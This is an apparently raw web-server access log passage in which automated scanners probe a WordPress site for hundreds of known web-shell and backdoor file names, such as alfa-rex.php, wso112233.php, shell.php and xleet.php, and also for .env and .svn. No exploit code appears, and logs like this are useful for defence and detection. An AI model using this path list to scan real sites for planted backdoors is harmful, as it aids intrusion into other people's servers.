301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:53 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:54 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:54 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:55 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:55 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:55 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:56 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:56 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:56 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:57 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:57 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:58 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:58 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:58 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:58 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:59 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:59 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:18:59 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:00 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:00 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:00 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:01 -0400] "GET /wp-content/plugins/seoplugins/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:01 -0400] "GET //wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:01 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:02 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:02 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:02 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:03 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:03 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:04 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:04 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:05 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:05 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:05 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:06 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:06 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:07 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:07 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:08 -0400] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:08 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:08 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:09 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:09 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:09 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:10 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:10 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:10 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:11 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:11 -0400] "GET //wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:12 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:12 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:12 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:13 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:14 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:14 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:15 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:15 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:16 -0400] "GET /uy26sfm6.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:16 -0400] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:16 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:17 -0400] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:17 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:18 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:18 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:18 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:19 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:19 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:20 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:20 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:21 -0400] "GET /wp-includes/block-supports/doc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:21 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:22 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:22 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:22 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:23 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:23 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:23 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:24 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:24 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:24 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:25 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:25 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:26 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:26 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:27 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:27 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:28 -0400] "GET /wp-content/themes/twentynineteen/fonts/dir/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:28 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:28 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:29 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:29 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:29 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:30 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:30 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:30 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:31 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:31 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:31 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:32 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:32 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:32 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:33 -0400] "GET /bi.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:33 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:34 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:34 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:34 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:34 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:35 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:35 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:36 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:36 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:36 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:36 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:37 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:37 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:38 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:38 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:38 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:38 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:39 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:39 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:40 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:40 -0400] "GET /wp-happy.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:41 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:41 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:42 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:42 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:42 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:43 -0400] "GET /cgi-bin/cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:43 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:44 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:44 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:44 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:45 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:46 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:46 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:46 -0400] "GET /wp-express.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:47 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:47 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:47 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:48 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:48 -0400] "GET /85022df0ed31.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:48 -0400] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:49 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:49 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:49 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:50 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:50 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:50 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:51 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:51 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:51 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:52 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:52 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:52 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:53 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:53 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:53 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:54 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:54 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:54 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:55 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:55 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:55 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:56 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:56 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:56 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:57 -0400] "GET /wp-content/themes/news-portal/error.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:57 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:57 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:58 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:58 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:58 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:59 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 40.85.180.104 - - [13/Apr/2025:07:19:59 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "-" 45.135.232.50 - - [13/Apr/2025:07:47:31 -0400] "GET /.svn HTTP/1.1" 403 1242 "-" "python-requests/2.32.3" 191.96.227.132 - - [13/Apr/2025:07:50:58 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.79.99 - - [13/Apr/2025:07:53:34 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.101 - - [13/Apr/2025:07:53:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 188.212.135.1 - - [13/Apr/2025:08:12:31 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 92.255.85.164 - - [13/Apr/2025:08:25:29 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 17.241.227.26 - - [13/Apr/2025:08:47:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.26 - - [13/Apr/2025:08:47:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.227.233 - - [13/Apr/2025:08:47:10 -0400] "GET /contact-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.86 - - [13/Apr/2025:08:49:25 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 124.226.222.66 - - [13/Apr/2025:09:19:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.222.47 - - [13/Apr/2025:09:40:13 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:15 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:16 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:17 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:18 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:19 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:21 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:22 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:23 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:24 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:25 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:26 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:28 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:29 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:30 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:30 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:31 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:32 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:33 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:33 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:34 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:34 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:35 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:35 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:36 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:37 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:39 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:39 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:41 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:42 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:43 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:45 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [13/Apr/2025:09:40:47 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 